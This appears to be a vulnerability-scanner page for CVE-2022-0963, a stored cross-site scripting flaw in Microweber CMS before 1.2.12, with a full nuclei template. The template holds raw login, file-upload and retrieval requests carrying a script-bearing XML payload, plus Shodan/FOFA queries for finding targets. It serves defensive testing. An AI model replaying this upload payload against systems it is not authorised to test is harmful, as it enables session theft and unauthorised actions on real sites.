Microweber <1.2.12 - Stored Cross-Site Scripting

mediumseverity

5.4CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,.

Impact

Authenticated attackers can upload malicious XML files containing XSS payloads that execute when users access the uploaded files, potentially stealing session cookies or performing unauthorized actions.

Fix

Upgrade Microweber CMS to version 1.2.12 or later to mitigate the vulnerability.

How to confirm it

Send: POST /api/user_login ; POST /plupload ; GET /userfiles/media/default/{{to_lower("{{randstr}}")}}.xml
Positive when: contains(body_3,"alert(document.domain)") and status_code_3==200 and contains(body_2,"bytes_uploaded")

Run it with nuclei: nuclei -id CVE-2022-0963 -u <target>

The full check

id: CVE-2022-0963

info:
  name: Microweber <1.2.12 - Stored Cross-Site Scripting
  author: amit-jd
  severity: medium
  description: |
    Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,.
  impact: |
    Authenticated attackers can upload malicious XML files containing XSS payloads that execute when users access the uploaded files, potentially stealing session cookies or performing unauthorized actions.
  remediation: |
    Upgrade Microweber CMS to version 1.2.12 or later to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/
    - https://github.com/advisories/GHSA-q3x2-jvp3-wj78
    - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0963
    - https://github.com/microweber/microweber/commit/975fc1d6d3fba598ee550849ceb81af23ce72e08
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0963
    cwe-id: CWE-79
    epss-score: 0.01877
    epss-percentile: 0.79599
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,xss,microweber,cms,authenticated,huntr,intrusive,vuln

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /plupload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034
        Referer: {{BaseURL}}admin/view:modules/load_module:files

        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="name"

        {{randstr}}.xml
        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="chunk"

        0
        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="chunks"

        1
        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="file"; filename="blob"
        Content-Type: application/octet-stream

        <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
        -----------------------------59866212126262636974202255034--
      - |
        GET /userfiles/media/default/{{to_lower("{{randstr}}")}}.xml HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3,"alert(document.domain)")'
          - 'status_code_3==200'
          - 'contains(body_2,"bytes_uploaded")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from